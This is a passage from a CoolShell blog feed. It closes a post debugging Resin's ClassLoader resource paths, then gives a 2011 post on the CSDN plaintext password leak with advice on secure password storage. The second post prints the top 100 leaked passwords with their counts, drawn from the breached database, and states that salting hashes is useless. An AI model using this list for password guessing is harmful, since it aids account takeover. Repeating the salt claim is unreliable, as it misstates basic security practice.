/></p>\n<p>请注意，区别还是丢掉了项目名称。</p>\n<p>写的比较乱，稍微总结下：</p>\n<p>程序中使用ClassLoader的两个方法：getResourceAsStream和getResource。但是事实证明在WEB应用的场景下却得到了不同的结果。大家别误会啊，看名字他们两个方法肯定不一样，这个我知道，但是getResourceAsStream总会获取指定路径下的文件吧，示例中的参数为&#8221;/a.txt&#8221;，正确读取“/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/ ”下的a.txt，可是将文件写到getResource方法的getPath返回路径的b.txt文件。两个位置的差别在项目名称(EhCacheTestAnnotation)。</p>\n<p>这样我暂且得出一个结论：通过getResourceAsStream和getResource两个方法获取的路径是不同的。但是为什么呢？</p>\n<p>于是查看了ClassLoader的源码，贴出getResource和getResourceAsStream的源码。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic URL getResource(String name) {\n    URL url;\n    if (parent != null) {\n        url = parent.getResource(name);\n    } else {\n        url = getBootstrapResource(name);\n    }\n\n    if (url == null) {\n        url = findResource(name);\n    }\n    return url;\n}\n\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}</pre>\n<p>从代码中看，getResourceAsStream将获取URL委托给了getResource方法。天啊，这是怎么回事儿？由此我彻底迷茫了，百思不得其解。</p>\n<p>但是没有因此就放弃，继续回想了一遍整个过程：</p>\n<ol>\n<li>在main函数中，测试getResource与getResourceAsStream是完全相同的，正确的。</li>\n<li>将其部署到Resin下，导致了getResource与getResourceAsStream获取的路径不一致。</li>\n</ol>\n<p>一个闪光点，是不是与web容器有关啊，于是换成Tomcat6.0。OMG，“奇迹”出现了，真的是这样子啊，换成Tomcat就一样了啊！和预想的一致。</p>\n<p style=\"text-align: center;\">在Tomcat下运行结果如下图：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin03.png\" alt=\"\" width=\"554\" height=\"107\" /></p>\n<p>对，这就是我想要的。</p>\n<p>因此我对Resin产生了厌恶感，之前也因为在Resin下程序报错，在Tomcat下正常运行而纠结了好久。记得看《松本行弘的程序世界》中对C++中的多继承是这样评价的(大概意思)：多重继承带来的负面影响多数是由于使用不当造成的。是不是因为对Resin使用不得当才使得和Tomcat下得到不同的结果。</p>\n<p>最终，在查阅Resin配置文件resin.conf时候在&lt;host-default&gt;标签下发现了这样一段：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;class-loader&gt;\n&lt;compiling-loader path=&quot;webapps/WEB-INF/classes&quot;/&gt;\n&lt;library-loader path=&quot;webapps/WEB-INF/lib&quot;/&gt;\n&lt;/class-loader&gt;</pre>\n<p>其中的compiling-loader很可能与之有关，遂将其注释掉，一切正常。担心是错觉，于是将compiling-loader的path属性改成：webapps/WEB-INF/classes1，然后运行pathServlet，b.txt位置如下图：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin04.png\" alt=\"\" width=\"483\" height=\"93\" /></p>\n<p>确实与compiling-loader有关。</p>\n<h4>结论</h4>\n<p>终于通过将&lt;class-loader&gt;标签注释掉，同样可以在Resin中获取“预想”的路径。验证了的确是使用Resin的人出了问题。</p>\n<h4>疑问</h4>\n<div>\n<p>但是没有这样就结束，我继续对getResource的源码进行了跟进，由于能力有限，没有弄清楚getResource的原理。</p>\n<p>最终留下了两个疑问：</p>\n<p>1、如果追踪到getResource方法的最底层(也许是JVM层面)，它实现的原理是什么？</p>\n<p>2、为何Resin中&lt;class-loader&gt;的配置会对getResource产生影响，但是对getResourceAsStream毫无影响(getResourceAsStream可是将获取路径委托给getResource的啊)。还是这里我理解或者使用错误了？</p>\n<p>本来文章到这里就结束了，本来是想问问牛人的，但是这个问题引起了很多的好奇心，于是我又花了一两周做了下面的调查。</p>\n<h4>Resin中类加载器</h4>\n<p>在我了解的<span style=\"font-family: 'Times New Roman';\">ClassLoader</span><span style=\"font-family: 宋体;\">是在</span>com.caucho.loader包下，结构请看下图：<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin05.png\" alt=\"图1\" width=\"390\" height=\"810\" /><br />\n图1<br />\n<a href=\"https://coolshell.cn/wp-content/uploads/2011/12/resin06.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin06.png\" alt=\"图2 （点击看大图）\" width=\"677\" height=\"354\" /></a><br />\n图2</p>\n<p>从上面两幅图中可以看出，图1是与Jdk有关联的，继承自java.net.URLClassLoader。DynamicClassLoader的注释是这样的：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n/**\n* Class\tloader which checks for changes in class files and automatically\n* picks up new jars.\n*\n* DynamicClassLoaders can be chained creating one virtual class loader.\n* From the perspective of the JDK, it&#039;s all one classloader.  Internally,\n* the class loader chain searches like a classpath.\n*/\n</pre>\n<p>EnvironmentClassLoader又继承了DynamicClassLoader<span style=\"font-family: 宋体;\">。</span></p>\n<p>图<span style=\"font-family: 'Times New Roman';\">2</span><span style=\"font-family: 宋体;\">应该是</span><span style=\"font-family: 'Times New Roman';\">Resin</span><span style=\"font-family: 宋体;\">本身的</span><span style=\"font-family: 'Times New Roman';\">ClassLoader</span><span style=\"font-family: 宋体;\">，其中</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span style=\"font-family: 宋体;\">是一个抽象类，包含了各种子类类加载器。</span></p>\n<p>从两幅图中是看不出<span style=\"font-family: 'Times New Roman';\">Resin</span><span style=\"font-family: 宋体;\">自身的</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span style=\"font-family: 宋体;\">体系与继承自</span><span style=\"font-family: 'Times New Roman';\">JVM</span><span style=\"font-family: 宋体;\">的类加载器存在关系，那是不是他们就不存在某种关联呢？其实不是这样子的。请看下面</span><span style=\"font-family: 'Times New Roman';\">DynamicClassLoader</span><span style=\"font-family: 宋体;\">源码的片段：</span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// List of resource loaders\nprivate ArrayList _loaders = new ArrayList();\nprivate JarLoader _jarLoader;\nprivate PathLoader _pathLoader;\n</pre>\n<p>清楚了吧，这两个Loader<span style=\"font-family: 宋体;\">分支通过组合的方式协作。</span></p>\n<h4>类加载器顺序</h4>\n<p>既然<span style=\"font-family: 'Times New Roman';\">Resin</span><span style=\"font-family: 宋体;\">标准的</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span style=\"font-family: 宋体;\">及其子类以组合的方式嵌入到</span><span style=\"font-family: 'Times New Roman';\">DynamicClassLoader</span><span style=\"font-family: 宋体;\">中，那么在加载一个“资源”时，</span><span style=\"font-family: 'Times New Roman';\">Loader</span><span style=\"font-family: 宋体;\">分支和</span><span style=\"font-family: 'Times New Roman';\">java.net.URLClassLoader</span><span style=\"font-family: 宋体;\">分支的先后顺序是什么样子的呢？</span></p>\n<p>首先使用下面这段代码，将类加载器名称打印到控制台：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nClassLoader loader = PathServlet.class.getClassLoader();\nwhile (loader != null) {\n    System.out.println(loader.toString());\n    loader = loader.getParent();\n}\n</pre>\n<p>输出的结果为：</p>\n<blockquote><p><em>EnvironmentClassLoader[web-app:http://localhost:8080/Test]</em></p>\n<p><em><em>EnvironmentClassLoader[web-app:http://localhost:8080]</em></em></p>\n<p><em>EnvironmentClassLoader[cluster ]</em></p>\n<p><em><em>EnvironmentClassLoader[]</em></em></p>\n<p><em>sun.misc.Launcher$AppClassLoader@cac268</em></p>\n<p><em>sun.misc.Launcher$ExtClassLoader@1a16869</em></p></blockquote>\n<p>额，没有任何一个Resin<span style=\"font-family: 宋体;\">的</span><span style=\"font-family: 'Courier New';\">Loader</span><span style=\"font-family: 宋体;\">被打印出来啊，对头，有就错了。下面就让我们看看</span><span style=\"font-family: 'Courier New';\">DynamicClassLoader</span><span style=\"font-family: 宋体;\">中</span><span style=\"font-family: 'Courier New';\">getResource</span><span style=\"font-family: 宋体;\">的源码来解答。</span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n/**\n* Gets the named resource\n*\n* @param name name of the resource\n*/\n\npublic URL getResource(String name)\n{\n    if (_resourceCache == null) {\n        long expireInterval = getDependencyCheckInterval();\n        _resourceCache = new TimedCache(256, expireInterval);\n    }\n\n    URL url = _resourceCache.get(name);\n    if (url == NULL_URL)\n        return null;\n    else if (url != null)\n        return url;\n\n    boolean isNormalJdkOrder = isNormalJdkOrder(name);\n\n    if (isNormalJdkOrder) {\n    url = getParentResource(name);\n    if (url != null)\n        return url;\n    }\n\n    ArrayList loaders = _loaders;\n    for (int i = 0; loaders != null &amp;&amp; i &lt; loaders.size(); i++) {\n        Loader loader = loaders.get(i);\n        url = loader.getResource(name);\n\n        if (url != null) {\n            _resourceCache.put(name, url);\n            return url;\n        }\n\n    }\n\n    if (! isNormalJdkOrder) {\n        url = getParentResource(name);\n        if (url != null)\n            return url;\n    }\n\n    _resourceCache.put(name, NULL_URL);\n    return null;\n}\n\n</pre>\n<p>代码不难懂，我画了一张流程图，不规范，凑合看下。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-6286\" title=\"resin07\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/resin07.png\" alt=\"\" width=\"326\" height=\"601\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/12/resin07.png 326w, https://coolshell.cn/wp-content/uploads/2011/12/resin07-162x300.png 162w\" sizes=\"(max-width: 326px) 100vw, 326px\" /></p>\n<h4>总结</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\nboolean isNormalJdkOrder = isNormalJdkOrder(name);\n</pre>\n<p>这行代码控制着Resin<span style=\"font-family: 宋体;\">类加载的顺序，如果是常规的类加载顺序</span><span style=\"font-family: 'Courier New';\">(</span><span style=\"font-family: 宋体;\">向上代理，原文：</span>Returns true if the class loader should use the normal order, i.e. looking at the parents first.)<span style=\"font-family: 宋体;\">，则先</span>url = getParentResource(name)，后遍历_loaders。否则是按照先遍历_loaders<span style=\"font-family: 宋体;\">再</span>url = getParentResource(name)向上代理。</p>\n<p>在我的调试经历中，一直都是先向上代理，后遍历_loaders<span style=\"font-family: 宋体;\">的顺序，未遇到第二种方式。</span></p>\n<p>文字对先向上代理，后遍历的顺序做点儿说明：</p>\n<ol>\n<li>首先使用“最上层”的<em>sun.misc.Launcher$ExtClassLoader@1a16869</em>加载name<span style=\"font-family: 宋体;\">资源，如果找到就返回</span><span style=\"font-family: 'Courier New';\">URL</span><span style=\"font-family: 宋体;\">否则返回</span><span style=\"font-family: 'Courier New';\">null</span></li>\n<li>程序返回到<em>sun.misc.Launcher$AppClassLoader@cac268</em>，首先判断父类加载器返回的<span style=\"font-family: 'Courier New';\">url</span><span style=\"font-family: 宋体;\">是否为</span><span style=\"font-family: 'Courier New';\">null</span><span style=\"font-family: 宋体;\">，如果不为</span><span style=\"font-family: 'Courier New';\">null</span><span style=\"font-family: 宋体;\">则返回</span><span style=\"font-family: 'Courier New';\">url</span><span style=\"font-family: 宋体;\">，返回</span><span style=\"font-family: 'Courier New';\">null</span><span style=\"font-family: 宋体;\">。</span></li>\n<li><span style=\"font-family: 宋体;\"><em><em><em>EnvironmentClassLoader[]</em></em></em></span></li>\n<li>程序返回到<em>EnvironmentClassLoader[cluster ]</em>的getParentResource<span style=\"font-family: 宋体;\">，再返回到</span><span style=\"font-family: 'Courier New';\">getResource</span><span style=\"font-family: 宋体;\">，如果</span><span style=\"font-family: 'Courier New';\">url</span><span style=\"font-family: 宋体;\">不为</span><span style=\"font-family: 'Courier New';\">null</span><span style=\"font-family: 宋体;\">，则直接返回，否则遍历</span>ArrayList&lt;Loader&gt; loaders = _loaders;从各个loader<span style=\"font-family: 宋体;\">中加载</span><span style=\"font-family: 'Courier New';\">name</span><span style=\"font-family: 宋体;\">，如果加载成功，即不为</span><span style=\"font-family: 'Courier New';\">null</span><span style=\"font-family: 宋体;\">，则返回，否则继续遍历，直至遍历完成。</span></li>\n<li><em><em>EnvironmentClassLoader[web-app:http://localhost:8080]</em></em>同4</li>\n<li><em>EnvironmentClassLoader[web-app:http://localhost:8080/Test]</em>同4</li>\n</ol>\n<p>OK<span style=\"font-family: 宋体;\">，完事儿，后续还有，准备好好写几篇。</span></p>\n<p>本文同时发布于：</p>\n<ul>\n<li><a href=\"http://www.oschina.net/question/129471_34225\">http://www.oschina.net/question/129471_34225</a>。</li>\n<li><a href=\"http://www.oschina.net/question/129471_35231#AnchorAnswer143898\">http://www.oschina.net/question/129471_35231#AnchorAnswer143898</a></li>\n</ul>\n</div>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6335.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片1-150x150.png\" alt=\"Resin服务器getResource揭秘\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6335.html\" class=\"wp_rp_title\">Resin服务器getResource揭秘</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6112.html\">由一个问题到 Resin ClassLoader 的学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6112.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>30</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>CSDN明文口令泄露的启示</title>\n\t\t<link>https://coolshell.cn/articles/6193.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6193.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 22 Dec 2011 04:08:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[CSDN]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6193</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2011年12月21日晚，某计算机专业的大学生寝室，某同学大叫到：“兄弟们，最新的日本XX女星的AV片已经下好，大家快过来看啊，相当精彩啊~~~”，然而，这个寝...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6193.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2011年12月21日晚，某计算机专业的大学生寝室，某同学大叫到：“兄弟们，最新的日本XX女星的AV片已经下好，大家快过来看啊，相当精彩啊~~~”，然而，这个寝室里的其它同学似乎没有听到这哥们的呼喊，于是，这哥们又叫了三次，没有人理他，因为大家都在眉飞色舞地谈论着CSDN的明文密码和用户帐号泄露的事情，并在网上查找着下载CSDN那600万的用户数据……上面这个故事是我编的，只是想描述一下昨晚的情形。</p>\n<p>其实，CSDN明文密码并不是什么稀奇的事情，我是2000年注册CSDN的吧，当时找回口令的机制就是把口令直接传回来了，这一定是明文了。去年去CSDN参加移动互联网沙龙的时候，范凯和蒋涛说过明文密码的事，不过他们说的是很早以前的事了，而且一笔带过了。1年后的今天，事情又暴了，可见，“出来混的，迟早是要还的”这句话是几近真理的。</p>\n<p>我在以前的BLOG里就提到过CSDN的明文密码（在“<a title=\"你会做Web上的用户登录功能吗？\" href=\"https://coolshell.cn/articles/5353.html\">如何设计用户登录功能</a>”一文）和 帐号泄露（“<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\">如何设计自己的口令</a>”） 的事（<strong>由此可见，酷壳里的很多文章里的事都应验了</strong>，因为我知道“出来混的，迟早是要还的”）</p>\n<p>（<strong>可悲吧？还是程序员的网站呢，明文口令和用户信息泄露有悖于一个程序员网站的称号</strong>）</p>\n<h4>泄露的密码分析</h4>\n<p>我昨晚下载了<a href=\"http://www.csdn.net.sql\">www.csdn.net.sql</a>文件，并分析了一下这个文件，经过各种awk, grep, sort, uniq, sed后，下面是我看到的东西：</p>\n<ul>\n<li>有近45万的用户使用 123456789 和 12345678 做口令。</li>\n<li>有近40万的用户使用自己的生日做口令。</li>\n<li>有近15万的用户使用自己的手机号做口令。</li>\n<li>有近25万的用户使用自己的QQ号做口令。</li>\n<li>设置成弱口令的用户占了590万，也就是那种就算你用MD5或是SHA散列的也能很快就被暴力破解出来的口令。</li>\n<li>只有8000多个用户的口令里在8个长度以上，并有大写字母，小写字母，数字，并不在字典表里。</li>\n</ul>\n<p>（很好，这回泄露的还不单单只是明文用户密码和用户邮件，还有用户的手机号，生日和QQ号。挺好的）</p>\n<p>下面，我们来看一下top 100的口令是什么？（第一列是采用这个密码个数，第二列是密码，我擦 dearbook是什么啊）简单地看了一下，top 一万的口令都很SB。比如什么woshishui, 123abc, aaa123456，01010101，haohaoxuexi，msconfig 相当的2B，还有<a href=\"mailto:P@ssw0rd\">P@ssw0rd</a>，q1w2e3r4t5，看似文艺，实际很2的口令&#8230;. （<strong>可悲吧？还是程序员的网站呢，自己设的口令有悖于一个程序员的称号</strong>）</p>\n<p><span id=\"more-6193\"></span></p>\n<p style=\"padding-left: 30px;\">235033 123456789<br />\n212751 12345678<br />\n76346 11111111<br />\n45902 dearbook<br />\n34953 00000000<br />\n19986 123123123<br />\n17791 1234567890<br />\n15033 88888888<br />\n6995 111111111<br />\n5966 147258369<br />\n5553 987654321<br />\n5459 aaaaaaaa<br />\n5145 1111111111<br />\n5025 66666666<br />\n4435 a123456789<br />\n4096 11223344<br />\n3667 1qaz2wsx<br />\n3649 xiazhili<br />\n3610 789456123<br />\n3497 password<br />\n3281 87654321<br />\n3277 qqqqqqqq<br />\n3175 000000000<br />\n3143 qwertyuiop<br />\n3094 qq123456<br />\n3077 iloveyou<br />\n3061 31415926<br />\n2985 12344321<br />\n2886 0000000000<br />\n2826 asdfghjkl<br />\n2797 1q2w3e4r<br />\n2580 123456abc<br />\n2578 0123456789<br />\n2573 123654789<br />\n2540 12121212<br />\n2515 qazwsxedc<br />\n2396 abcd1234<br />\n2380 12341234<br />\n2348 110110110<br />\n2298 asdasdasd<br />\n2243 22222222<br />\n2166 123321123<br />\n2160 abc123456<br />\n2145 123456<br />\n2138 a12345678<br />\n2113 123456123<br />\n2106 a1234567<br />\n2100 1234qwer<br />\n1989 qwertyui<br />\n1986 123456789a<br />\n1971 aa123456<br />\n1918 asdfasdf<br />\n1891 99999999<br />\n1859 999999999<br />\n1859 123456aa<br />\n1854 123456123456<br />\n1699 520520520<br />\n1656 963852741<br />\n1652 741852963<br />\n1652 55555555<br />\n1589 33333333<br />\n1480 qwer1234<br />\n1384 asd123456<br />\n1339 77777777<br />\n1316 qweasdzxc<br />\n1285 code8925<br />\n1273 11112222<br />\n1268 ms0083jxj<br />\n1245 zzzzzzzz<br />\n1214 111222333<br />\n1206 qweqweqwe<br />\n1200 3.1415926<br />\n1183 123456qq<br />\n1148 147852369<br />\n1136 521521521<br />\n1121 asdf1234<br />\n1111 123698745<br />\n1109 1123581321<br />\n1058 asdfghjk<br />\n1054 q1w2e3r4<br />\n1038 12345678a<br />\n1003 woaini1314<br />\n991 1234abcd<br />\n988 123qweasd<br />\n975 1qazxsw2<br />\n967 woaiwojia<br />\n920 321321321<br />\n910 05962514787<br />\n894 123456987<br />\n892 kingcom5<br />\n882 zxcvbnm123<br />\n882 5845201314<br />\n853 0987654321<br />\n847 wwwwwwww<br />\n835 11111111111111111111<br />\n805 12345600<br />\n783 11235813<br />\n777 1q2w3e4r5t<br />\n772 10101010<br />\n770 123456asd</p>\n<h4>老生长谈安全问题</h4>\n<p>从酷壳出现开始我就在老生长谈用户安全的东西了，今天借着这个事，大家再去重温一下酷壳的文章吧：</p>\n<ul>\n<li><a title=\"Twitter的禁用口令\" href=\"https://coolshell.cn/articles/2451.html\">Twitter禁用的口令</a>。看看去吧，一个好的网站应该如何引导用户设置强口令。Apple ID也是这样，需要你输入的口令有大小写，数字，非数字和字母，等等。<strong>今天CSDN的这个列表应该成为各大网站“口令禁用列表”。</strong></li>\n</ul>\n<ul>\n<li>有朋友说，明文口令是巨2的一件事，是的。我可以告诉你，这个明文口令有可能存在于所有国内的网站上，比如：QQ，新浪，人人，开心，天涯……。<strong>对于安全问题，你要做最坏的假设，鲁迅先生说过：“不惮以最坏的恶意来推测中国人”，所以，对于中国的网站你要做如下最坏假设：1）其以明文存我的口令，2）其内部不良员工会把我的信息泄露出去</strong>。不信你可以看看下面的某QQ群里的截图：（<a href=\"http://weibo.com/1494759712/xDa7tah7E?type=repost\" target=\"_blank\">看看多玩网明文口令的消息吧</a>，<a href=\"http://weibo.com/1642471052/xDaC1dEhP?type=repost\" target=\"_blank\">再看看这个消息吧</a> QQ邮箱和QQ号的）<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"国内网站的数据库\" src=\"http://ww4.sinaimg.cn/large/63071edagw1doah4id8l4j.jpg\" alt=\"\" width=\"333\" height=\"756\" /></li>\n</ul>\n<ul>\n<li>你可能会说用MD5和SHA散列口令就好了，这个只比明文好一点点，因为有rainbow table，国外的号称达到99%覆盖，国内的达到93%覆盖。你加salt也没有用。就算我只能拿得到你的被散列的密码，没有rainbow和salt，我一样可以使用暴力破解，甚至就是尝试一下字典里的密码就可以了。这会非常快的，你可以看看本站的这篇文章“<a title=\"破解你的口令\" href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\">破解你的口令</a>”，<strong>现在暴力破解MD5和SHA的口令很快的，因为MD5和SHA性能太好了。</strong>所以，你需要看看“<a title=\"如何防范密码被破解\" href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\">如何防范密码被破解</a>”，其会告诉你加密口令要用一个性能差的算法——bcrypt。（也可以参看<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a>中的<a href=\"http://codahale.com/how-to-safely-store-a-password/\" target=\"_blank\">如何安全保存口令一文</a>）</li>\n</ul>\n<ul>\n<li>所以，你有必要地读一读我的这篇“<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\">如何管理和设计自己的口令</a>”，不要在同一网站上使用相同的口令，把口令的级别分好的组。自己管理好自己的口令。</li>\n</ul>\n<ul>\n<li> 对于Web用户的安全问题，程序员们一定要看一下 这两篇文章，你要是不看的话，你没有资格开发Web项目。</li>\n<ul>\n<li><a title=\"你会做Web上的用户登录功能吗？\" href=\"https://coolshell.cn/articles/5353.html\">如何设计用户登录功能</a></li>\n<li><a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li>\n</ul>\n</ul>\n<ul>\n<li>当你看过 <a title=\"你会做Web上的用户登录功能吗？\" href=\"https://coolshell.cn/articles/5353.html\">如何设计用户登录功能</a> 一文后，你一定会头晕的，所以，我想告诉你，<strong>这种事情最好不要自己干，使用OpenID 和 OAuth吧，人家把这事干到了极致了</strong>。而且这样会带来两个好处：</li>\n<ul>\n<li><strong>用户不需要自己维护和管理一套新的帐号</strong>。</li>\n<li><strong>用户的资料放在国外，从政治上来说是安全的</strong>。（八卦一下：Google总部要求中国谷歌所有开发团队不得在本地保存用户的信息）</li>\n</ul>\n</ul>\n<ul>\n<li>再说一点，再说说如何让自己内部的用户数据不会被不良员工外泄。<strong>所有的开发团队都不允许直接操作用户的数据库，只允许通过安全的接口来验证用户，用户信息的数据库中需要对操作者有审计功能，永远不允许不受信的人或操作进行全库扫描</strong>。当然，我相信，国内的开发团队绝对达不到这一步（包括某些银行）。</li>\n</ul>\n<ul>\n<li>再说一下，<strong><span style=\"color: #000000;\">真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞</span>。</strong>比如：通过很多方法“耦合”和银行和电信其是别的第三方的安全策略，比如，让用户绑定邮箱，绑定手机，绑定信用卡等。</li>\n</ul>\n<p>最后说一下，CSDN在这次事件的表现看上去还是很不错的，道歉也很诚恳，<strong>但是，我还是希望CSDN反思一下为什么数据库会泄露了？内部有不良员工？还是系统不安全被黑？不要只是诚恳道歉，还要找自己的原因。其它的网站可能就很恶劣了。包括新浪，人人，开心等，最恶心的就是腾讯，你说他的安全有问题，他还找一堆人来骂你。</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000; font-size: 16pt; font-family: 'Microsoft YaHei';\"><strong>祝大家新年快乐！</strong></span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img 